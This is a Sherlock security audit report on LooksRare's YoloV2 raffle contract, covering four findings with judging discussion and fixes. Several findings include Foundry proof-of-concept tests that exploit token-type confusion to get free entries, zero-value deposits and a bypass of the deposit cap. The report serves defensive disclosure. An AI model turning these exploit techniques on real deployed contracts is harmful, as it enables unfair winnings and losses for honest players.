SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Prepared for:	LooksRare
Prepared by:	Sherlock
Lead Security Expert:	mstpr-brainbot
Dates Audited:	January 18 - January 24, 2024
Prepared on:	February 6, 2024

Introduction

This is a web3 NFT Marketplace where traders and collectors have earned over $1.3 Billion in rewards.

Scope

Repository: LooksRare/contracts-yolo

Branch: master

Commit: 1cfb4cfa42855c831485618f44001fc3c5ed1876

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
2	2

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

bughuntoor	mstpr-brainbot	s1ce
mert_eren	unforgiven	pontifex
Kow	KupiaSec	cocacola

SHERLOCK

deepplus
zzykxx
LTDingZhen
0xMAKEOUTHILL
HSP
lil.eth
KingNFT
zraxx
vvv
thank_you
0xrcontre360
Varun_05
ast3ros
Krace
Cosine
0rpse
petro1912
0xG0P1
dany.armstrong90
cawfree
jasonxiale
dimulski
fibonacci
nobody2018
asauditor
0xrice.cooker

Issue H-1: User can get free entries if the price of any whitelisted ERC20 token is greater than the round's `valuePerEntry`

Source: https://github.com/sherlock-audit/2024-01-looksrare-judging/issues/4

Found by

Kow, bughuntoor, mert_eren

Summary

Lack of explicit separation between ERC20 and ERC721 deposits allows users to gain free entries for any round given there exists a whitelisted ERC20 token with price greater than the round's `valuePerEntry`.

Vulnerability Detail

When depositing tokens, users can specify whether the token type is ERC20 or ERC721. While the token address specified is checked against a whitelist, the token type specified is unrestricted.
https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1092-L1094

```
if (isCurrencyAllowed[tokenAddress] != 1) {
    revert InvalidCollection();
}
```

This means a user can specify ERC721 as the token type even if the token being deposited is an ERC20 token. A deposit of this nature does not need signed Reservoir price data if the price is already specified (ie. the token was deposited before as an ERC20 token).
https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1096-L1100

```
if (singleDeposit.tokenType == YoloV2__TokenType.ERC721) {
    if (price == 0) {
        price = _getReservoirPrice(singleDeposit);
        prices[tokenAddress][roundId] = price;
    }
```

As long as the price of the token is greater than `round.valuePerEntry`, the `entriesCount` will be non-zero. At the time of writing, using the `0.01 ETH` value used on the currently deployed Yolo contract, this is around USD$25.

SHERLOCK

https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1102-L1105

```
uint256 entriesCount = price / round.valuePerEntry;
if (entriesCount == 0) {
    revert InvalidValue();
}
```

The user can specify an arbitrary length array for `singleDeposit.tokenIdsOrAmounts` filled with zeros (given this doesn't exceed the max deposit limit). This is what allows free entries by specifying zero transfers. When the token is batch transferred by the transfer manager, a low level call to `transferFrom` on the specified token address is made.
https://github.com/LooksRare/contracts-transfer-manager/blob/9c337db4b9a8a197353393e98e9120b69e8d1fc6/contracts/TransferManager.sol#L205-L210

```
} else if (tokenType == TokenType.ERC721) {
    for (uint256 j; j < itemIdsLengthForSingleCollection; ) {
        ...
        _executeERC721TransferFrom(items[i].tokenAddress, from, to, itemIds[j]);
```

https://github.com/LooksRare/contracts-libs/blob/a6dbdc6a546fc80bcc3a18884ea3e5224cdc0547/contracts/lowLevelCallers/LowLevelERC721Transfer.sol#L24-L34

```
function _executeERC721TransferFrom(address collection, address from, address
↪   to, uint256 tokenId) internal {
    ...
    (bool status, ) = collection.call(abi.encodeCall(IERC721.transferFrom,
↪   (from, to, tokenId)));
    ...
}
```

The function signature of `transferFrom` for ERC721 and ERC20 is identical, so this will call `transferFrom` on the ERC20 contract with `amount = 0` (since 'token ids' specified in `singleDeposit.tokenIdsOrAmounts` are all `0`). Consequently, the user pays nothing and the transaction executes successfully (as long as the ERC20 token does not revert on zero transfers).

Paste the test below into `Yolo.deposit.t.sol` with `forge-std/console.sol` imported. It demonstrates a user making 3 free deposits (in the same transaction) using the MKR token (ie. with zero MKR balance). The token used can be substituted with any token with price > `valuePerEntry = 0.01 ETH` (which is non-rebasing/non-taxable and has sufficient liquidity in their /ETH Uniswap v3 pool as specified in the README).

```
function test_freeDeposit() public {
        // setup MKR token
        address MKR = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2;

        vm.prank(owner);
        priceOracle.addOracle(MKR, 3000);

        address[] memory currencies = new address[](1);
        currencies[0] = MKR;
        vm.prank(operator);
        yolo.updateCurrenciesStatus(currencies, true);

        uint256 mkrAmt = 1 ether;

        // deposit MKR to ensure price is already set for the round
        // this could be made by the same user making the free deposits with
 ↪  minimal token amount
        deal(MKR, user4, mkrAmt);

        IYoloV2.DepositCalldata[] memory dcd = new IYoloV2.DepositCalldata[](1);
        dcd = new IYoloV2.DepositCalldata[](1);
        dcd[0].tokenType = IYoloV2.YoloV2__TokenType.ERC20;
        dcd[0].tokenAddress = MKR;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = mkrAmt;
        dcd[0].tokenIdsOrAmounts = amounts;

        _grantApprovalsToTransferManager(user4);

        vm.startPrank(user4);
        IERC20(MKR).approve(address(transferManager), mkrAmt);
        yolo.deposit(1, dcd);
        vm.stopPrank();

        // now deposit MKR as ERC721
        // user doesn't need MKR balance to deposit
        assertEq(IERC20(MKR).balanceOf(user5), 0);

        dcd[0].tokenType = IYoloV2.YoloV2__TokenType.ERC721;
        // we can use an arbitrary amount of tokens (so long as we don't exceed
 ↪  max deposits), but we use 3 here
        amounts = new uint256[](3);
        dcd[0].tokenIdsOrAmounts = amounts;
        // we don't need a floor price config if the price has already been set
        _grantApprovalsToTransferManager(user5);

        vm.prank(user5);
        yolo.deposit(1, dcd);

        IYoloV2.Deposit[] memory deposits = _getDeposits(1);

        (, , , , , , , uint256 valuePerEntry, , ) = yolo.getRound(1);
        uint256 mkrPrice = yolo.prices(MKR, 1);
        // last currentEntryIndex should be 4x since first depositor used 1e18
↪   MKR,
        // and the free depositor effectively used 3e18 MKR
        assertEq(deposits[3].currentEntryIndex, (mkrPrice / valuePerEntry) * 4);

        console.log("Standard deposit");
        console.log("Entry index after first deposit: ",
↪   deposits[0].currentEntryIndex);
        console.log("Free deposits");
        console.log("Entry index after second deposit: ",
↪   deposits[1].currentEntryIndex);
        console.log("Entry index after third deposit: ",
↪   deposits[2].currentEntryIndex);
        console.log("Entry index after fourth deposit: ",
↪   deposits[3].currentEntryIndex);
    }
```

Output from running the test below.

```
Running 1 test for test/foundry/Yolo.deposit.t.sol:Yolo_Deposit_Test
[PASS] test_freeDeposit() (gas: 725484)
Logs:
  Standard deposit
  Entry index after first deposit:  88
  Free deposits
  Entry index after second deposit:  176
  Entry index after third deposit:  264
  Entry index after fourth deposit:  352
```

Impact

Users can get an arbitrary number of entries into rounds for free (which should generally allow them to significantly increase their chances of winning). In the case the winner is a free depositor, they will end up with the same profit as if they participated normally since they have to pay the fee over the total value of the deposits (which includes the price of their free deposits). If the winner is an honest depositor, they still have to pay the full fee including the free entries, but they are unable to claim the value for the free entries (since the `tokenId` (or `amount`) is zero). They earn less profit than if everyone had participated honestly.

Code Snippet

https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1084-L1161

Tool used

Manual Review

Recommendation

Whitelist tokens using both the token address and the token type (ERC20/ERC721).

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

takarez commented:

> valid: high(3)

nevillehuang

See comments in #128

jacksanford1

Sherlock note: Fix is here: https://github.com/LooksRare/contracts-yolo/pull/183

Fix has been signed off on by mstpr-brainbot

Issue H-2: Users can deposit "0" ether to any round

Source: https://github.com/sherlock-audit/2024-01-looksrare-judging/issues/18

Found by

0rpse, 0xG0P1, 0xMAKEOUTHILL, 0xrcontre360, 0xrice.cooker, Cosine, HSP, KingNFT, Krace, KupiaSec, LTDingZhen, Varun_05, asauditor, ast3ros, bughuntoor, cawfree, cocacola, dany.armstrong90, deepplus, dimulski, fibonacci, jasonxiale, mert_eren, mstpr-brainbot, nobody2018, petro1912, pontifex, s1ce, thank_you, unforgiven, vvv, zraxx, zzykxx

Summary

The main invariant to determine the winner is that the indexes must be in ascending order with no repetitions. Therefore, depositing "0" is strictly prohibited as it does not increase the index. However, there is a method by which a user can easily deposit "0" ether to any round without any extra costs than gas.

Vulnerability Detail

As stated in the summary, depositing "0" will not increment the entryIndex, leading to a potential issue with the indexes array. This, in turn, may result in an unfair winner selection due to how the upper bound is determined in the array. The relevant code snippet illustrating this behavior is found here.

Let's check the following code snippet in the `depositETHIntoMultipleRounds` function

```
for (uint256 i; i < numberOfRounds; ++i) {
            uint256 roundId = _unsafeAdd(startingRoundId, i);
            Round storage round = rounds[roundId];
            uint256 roundValuePerEntry = round.valuePerEntry;
            if (roundValuePerEntry == 0) {
                (, , roundValuePerEntry) = _writeDataToRound({roundId: roundId,
 ↪  roundValue: 0});
            }

            _incrementUserDepositCount(roundId, round);

            // @review depositAmount can be "0"
            uint256 depositAmount = amounts[i];

            // @review 0 % ANY_NUMBER = 0
            if (depositAmount % roundValuePerEntry != 0) {
                revert InvalidValue();
            }
            uint256 entriesCount = _depositETH(round, roundId,
↪   roundValuePerEntry, depositAmount);
            expectedValue += depositAmount;

            entriesCounts[i] = entriesCount;
        }

        // @review will not fail as long as user deposits normally to 1 round
        // then he can deposit to any round with "0" amounts
        if (expectedValue != msg.value) {
            revert InvalidValue();
        }
```

as we can see in the above comments added by me starting with "review" it explains how its possible. As long as user deposits normally to 1 round then he can also deposit "0" amounts to any round because the `expectedValue` will be equal to msg.value.

Textual PoC: Assume Alice sends the tx with 1 ether as msg.value and "amounts" array as [1 ether, 0, 0]. first time the loop starts the 1 ether will be correctly evaluated in to the round. When the loop starts the 2nd and 3rd iterations it won't revert because the following code snippet will be "0" and adding 0 to `expectedValue` will not increment to `expectedValue` so the msg.value will be exactly same with the `expectedValue`.

```
if (depositAmount % roundValuePerEntry != 0) {
                revert InvalidValue();
            }
```

Coded PoC (copy the test to `Yolo.deposit.sol` file and run the test):

```
function test_deposit0ToRounds() external {
        vm.deal(user2, 1 ether);
        vm.deal(user3, 1 ether);

        // @dev first round starts normally
        vm.prank(user2);
        yolo.deposit{value: 1 ether}(1, _emptyDepositsCalldata());

        // @dev user3 will deposit 1 ether to the current round(1) and will
↪   deposit
        // 0,0 to round 2 and round3
        uint256[] memory amounts = new uint256[](3);
        amounts[0] = 1 ether;
        amounts[1] = 0;
        amounts[2] = 0;
        vm.prank(user3);
        yolo.depositETHIntoMultipleRounds{value: 1 ether}(amounts);

        // @dev check user3 indeed managed to deposit 0 ether to round2
        IYoloV2.Deposit[] memory deposits = _getDeposits(2);
        assertEq(deposits.length, 1);
        IYoloV2.Deposit memory deposit = deposits[0];
        assertEq(uint8(deposit.tokenType), uint8(IYoloV2.YoloV2__TokenType.ETH));
        assertEq(deposit.tokenAddress, address(0));
        assertEq(deposit.tokenId, 0);
        assertEq(deposit.tokenAmount, 0);
        assertEq(deposit.depositor, user3);
        assertFalse(deposit.withdrawn);
        assertEq(deposit.currentEntryIndex, 0);

        // @dev check user3 indeed managed to deposit 0 ether to round3
        deposits = _getDeposits(3);
        assertEq(deposits.length, 1);
        deposit = deposits[0];
        assertEq(uint8(deposit.tokenType), uint8(IYoloV2.YoloV2__TokenType.ETH));
        assertEq(deposit.tokenAddress, address(0));
        assertEq(deposit.tokenId, 0);
        assertEq(deposit.tokenAmount, 0);
        assertEq(deposit.depositor, user3);
        assertFalse(deposit.withdrawn);
        assertEq(deposit.currentEntryIndex, 0);
    }
```

Impact

High, since it will alter the games winner selection and it is very cheap to perform the attack.

Code Snippet

https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L312-L362

Tool used

Manual Review

Recommendation

Add the following check inside the depositETHIntoMultipleRounds function

```
if (depositAmount == 0) {
     revert InvalidValue();
   }
```

Discussion

0xhiroshi

https://github.com/LooksRare/contracts-yolo/pull/176

sherlock-admin2

2 comment(s) were left on this issue during the judging contest.

takarez commented:

> valid because {valid: but the impact is very low compared to the duplicated issue 002}, ?

takarez commented:

> valid: high(1)

mstpr

> LooksRare/contracts-yolo#176

Fix LGTM!

jacksanford1

Sherlock note: Fix PR: https://github.com/LooksRare/contracts-yolo/pull/176

Issue M-1: Rounds can not be immediately drawn after fulfillRandomWords due to VRF contracts reentrancy guard

Source: https://github.com/sherlock-audit/2024-01-looksrare-judging/issues/43

Found by

mstpr-brainbot

Summary

Users can deposit ETH to multiple future rounds. If the future round can be "drawn" immediately when the current round ends this execution will revert because of chainlink contracts reentrancy guard protection hence ending the current round will be impossible and it needs to be cancelled by governance.

Vulnerability Detail

When the round is Drawn, VRF is expected to call `fulfillRandomWords` to determine the winner in the current round and starts the next round.
https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1293

`fulFillRandomWords` function is triggered by the `rawFulfillRandomWords` external function in the Yolo contract which is also triggered by the randomness providers call to VRF's `fulFillRandomWords` function which has a reentrancy check as seen and just before the call to Yolo contract it sets to "true".
https://github.com/smartcontractkit/chainlink/blob/6133df8a2a8b527155a8a822d2924d5ca4bfd122/contracts/src/v0.8/vrf/VRFCoordinatorV2.sol#L526-L546

If the next round is "drawable" then the `_startRound` will draw the next round immediately and by doing so it will try to call VRF's `requestRandomWords` function which also has a nonreentrant modifier
https://github.com/smartcontractkit/chainlink/blob/e4bde648582d55806ab7e0f8d4ea05a721ca120d/contracts/src/v0.8/vrf/VRFCoordinatorV2.sol#L349-L355

since the reentrancy lock was set to "true" in first call, the second calling requesting randomness will revert. Current "drawn" round will not be completed and there will be no winner because of the chainlink call will revert every time the VRF calls the yolo contract.

Impact

Already "drawn" round will not be concluded and there will be no winner. VRF's keepers will see their tx is reverted

Code Snippet

https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L949-L991

https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1270-L1296

https://github.com/smartcontractkit/chainlink/blob/e4bde648582d55806ab7e0f8d4ea05a721ca120d/contracts/src/v0.8/vrf/VRFCoordinatorV2.sol#L349-L408

https://github.com/smartcontractkit/chainlink/blob/e4bde648582d55806ab7e0f8d4ea05a721ca120d/contracts/src/v0.8/vrf/VRFCoordinatorV2.sol#L526-L572

Tool used

Manual Review

Recommendation

Do not draw the contract immediately if it's winnable. Anyone can call drawWinner when the conditions are satisfied. This will slow the game pace, if that's not ideal then add an another if check to the drawWinner to conclude a round if its drawable immediately .

Discussion

0xhiroshi

https://github.com/LooksRare/contracts-yolo/pull/175

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

takarez commented:

> invalid: should provide POC

nevillehuang

request poc

sherlock-admin

PoC requested from @mstpr

Requests remaining: **6**

0xhiroshi

@nevillehuang There's no need for a PoC for this issue. A medium finding makes sense to me.

mstpr

@nevillehuang I tried to make a PoC but couldn't mock the actual VRF call from chainlink

@0xhiroshi I believe this can be a high issue because if the fulFillRandomWords reverts chainlink random providers will not try to call the contract address. When I talked with the Chainlink team they said if the issue is fixable then fix it, if not redeploy the contract. Fixing this issue is not possible without re-writing that specific piece of the code so a redeployment is a must with the modified code.

0xhiroshi

While it's a non-trivial bug, technically no fund is lost, and the stuck round can be cancelled. Based on Sherlock's guidelines should this be a High? I will leave the final judgment to @nevillehuang.

ArnieGod

Escalate

Would like to respectfully escalate this down to invalid.

As @0xhiroshi highlights, there is no loss of funds, instead the only effect of this bug is a DOS of 24 hours, after the 24 hours, the round can be canceled.

According to sherlock documentation, if a DOS does not last more than 1 week, it does not constitute a valid issue.

> The issue causes locking of funds for users for more than a week

Additionally, given that the dos is caused because of an external contract this further supports my reasoning as to why this issue is invalid. Given that the readme states that

> In case of external protocol integrations, are the risks of external contracts pausing or executing an emergency withdrawal acceptable? If not, Watsons will submit issues related to these situations that can harm your protocol's functionality.
>
> Yes

In conclusion based on sherlock docs of what makes a valid issue, and the readme, this issue should be invalid.

sherlock-admin2

> Escalate
>
> Would like to respectfully escalate this down to invalid.

> As @0xhiroshi highlights, there is no loss of funds, instead the only effect of this bug is a DOS of 24 hours, after the 24 hours, the round can be canceled.
>
> According to sherlock documentation, if a DOS does not last more than 1 week, it does not constitute a valid issue.
>
> > The issue causes locking of funds for users for more than a week
>
> Additionally, given that the dos is caused because of an external contract this further supports my reasoning as to why this issue is invalid. Given that the readme states that
>
> > In case of external protocol integrations, are the risks of external contracts pausing or executing an emergency withdrawal acceptable? If not, Watsons will submit issues related to these situations that can harm your protocol's functionality.
> >
> > Yes
>
> In conclusion based on sherlock docs of what makes a valid issue, and the readme, this issue should be invalid.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

mstpr

> LooksRare/contracts-yolo#175

Fix LGTM!

nevillehuang

@mstpr @ArnieGod This looks to me to be not just a regular DoS., but could occur every single time the following scenario described happens:

> If the future round can be "drawn" immediately when the current round ends this execution will revert because of chainlink contracts reentrancy

So if every single time admin needs to be forced to cancel rounds, this is broken functionality to me and should constitute medium severity, since it breaks the intended game mechanism catering to the above scenario every time.

0xhiroshi

> @mstpr This looks to me to be not just a regular DoS., but could occur every single time the following scenario described happens:
>
> > If the future round can be "drawn" immediately when the current round ends this execution will revert because of chainlink contracts reentrancy
>
> So if every single time admin needs to be forced to cancel rounds, this is broken functionality to me and should constitute medium severity, since it breaks the intended game mechanism catering to the above scenario every time.

Yes this can happen every single time and it's broken functionality.

mstpr

@nevillehuang @0xhiroshi From what I see if fullFillRandomWords ever fails in chainlink the chainlink keepers will not be calling the contract once again. If that's true, the contract has to be redeployed and basically the game is fully not playable for any round. Would that make it a high issue ?

nevillehuang

@mstpr I don't think so, because the round can be cancelled and the deposited funds can be retrieved, than the fix can be implemented. So this is essentially a permanent DoS for that scenario.

Czar102

Breaking core functionality without loss of funds is a Medium severity issue.

> [A medium severity issue] breaks core contract functionality, rendering the contract useless (...)

Planning to reject the escalation and leave the issue as is.

detectiveking123

@Czar102 Would appreciate if you could hold off on resolving this one for the next day or so. Would like to think about it for a bit.

Czar102

Result: Medium Unique

Sorry @detectiveking123, but I can't hold off the resolution any longer.

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- ArnieGod: rejected

jacksanford1

Sherlock note: Fix PR: https://github.com/LooksRare/contracts-yolo/pull/175

Fix has been signed off on by mstpr-brainbot

Issue M-2: The number of deposits in a round can be larger than MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND

Source: https://github.com/sherlock-audit/2024-01-looksrare-judging/issues/78

Found by

0xMAKEOUTHILL, HSP, KupiaSec, LTDingZhen, bughuntoor, cocacola, deepplus, lil.eth, pontifex, s1ce, unforgiven, zzykxx

Summary

The number of deposits in a round can be larger than MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND, because there is no such check in depositETHIntoMultipleRounds() function or rolloverETH() function.

Vulnerability Detail

depositETHIntoMultipleRounds() function is called to deposit ETH into multiple rounds, so it's possible that the number of deposits in both current round and next round is **MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND**.

When current round's number of deposits reaches **MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND**, the round is drawn:

```
if (
    _shouldDrawWinner(
        startingRound.numberOfParticipants,
        startingRound.maximumNumberOfParticipants,
        startingRound.deposits.length
    )
) {
    _drawWinner(startingRound, startingRoundId);
}
```

_drawWinner() function calls VRF provider to get a random number, when the random number is returned by VRF provider, fulfillRandomWords() function is called to chose the winner and the next round will be started:

```
_startRound({_roundsCount: roundId});
```

If the next round's deposit number is also **MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND**, _startRound() function may also draw the next round as well, so it seems that there is no chance the the number of

SHERLOCK

deposits in a round can become larger than **MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND**:

```
if (
    !paused() &&
    _shouldDrawWinner(numberOfParticipants, round.maximumNumberOfParticipants,
↪   round.deposits.length)
) {
    _drawWinner(round, roundId);
}
```

However, **_startRound()** function will draw the round **only if the protocol is not paused**. Imagine the following scenario:

1. The deposit number in `round 1` and `round 2` is **MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND**;
2. `round 1` is drawn, before random number is sent back by VRF provider, the protocol is paused by the admin for some reason;
3. Random number is returned and **fulfillRandomWords()** function is called to start `round 2`;
4. Because protocol is paused, `round 2` is set to **OPEN** but not drawn;
5. Later admin unpauses the protocol, before drawWinner() function can be called, some users may deposit more funds into `round 2` by calling **depositETHIntoMultipleRounds()** function or **rolloverETH()** function, this will make the deposit number of `round 2` larger than **MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND**.

Please run the test code to verify:

```
function test_audit_deposit_more_than_max() public {
    address alice = makeAddr("Alice");
    address bob = makeAddr("Bob");

    vm.deal(alice, 2 ether);
    vm.deal(bob, 2 ether);

    uint256[] memory amounts = new uint256[](2);
    amounts[0] = 0.01 ether;
    amounts[1] = 0.01 ether;

    // Users deposit to make the deposit number equals to
↪   MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND in both rounds
    uint256 MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND = 100;
    for (uint i; i < MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND / 2; ++i) {
        vm.prank(alice);
        yolo.depositETHIntoMultipleRounds{value: 0.02 ether}(amounts);

        vm.prank(bob);
        yolo.depositETHIntoMultipleRounds{value: 0.02 ether}(amounts);
    }

    // owner pause the protocol before random word returned
    vm.prank(owner);
    yolo.togglePaused();

    // random word returned and round 2 is started but not drawn
    vm.prank(VRF_COORDINATOR);
    uint256[] memory randomWords = new uint256[](1);
    uint256 randomWord = 123;
    randomWords[0] = randomWord;
    yolo.rawFulfillRandomWords(FULFILL_RANDOM_WORDS_REQUEST_ID, randomWords);

    // owner unpause the protocol
    vm.prank(owner);
    yolo.togglePaused();

    // User deposits into round 2
    amounts = new uint256[](1);
    amounts[0] = 0.01 ether;
    vm.prank(bob);
    yolo.depositETHIntoMultipleRounds{value: 0.01 ether}(amounts);

    (
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        YoloV2.Deposit[] memory round2Deposits
    ) = yolo.getRound(2);

    // the number of deposits in round 2 is larger than
 ↪  MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND
    assertEq(round2Deposits.length, MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND + 1);
}
```

SHERLOCK

Impact

This issue break the invariant that the number of deposits in a round can be larger than **MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND**.

Code Snippet

https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L312 https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L643-L646

Tool used

Manual Review

Recommendation

Add check in _depositETH() function which is called by both **depositETHIntoMultipleRounds()** function and **rolloverETH()** function to ensure the deposit number cannot be larger than **MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND**:

```
        uint256 roundDepositCount = round.deposits.length;

+       if (roundDepositCount >= MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND) {
+           revert MaximumNumberOfDepositsReached();
+       }


 ↪  _validateOnePlayerCannotFillUpTheWholeRound(_unsafeAdd(roundDepositCount,
 ↪  1), round.numberOfParticipants);
```

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

takarez commented:

> invalid: when the contract is paused; major functions are meant to stop working; and the chance of pausing is very low as it happen during an emergency

0xhiroshi

https://github.com/LooksRare/contracts-yolo/pull/180

nevillehuang

The above comment is incorrect, since this can potentially impact outcome of game by bypassing an explicit rule/invariant of fixed 100 deposits per round, this should constitute medium severity

mstpr

> LooksRare/contracts-yolo#180

Fix LGTM!

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users’ sole risk and is the users’ responsibility.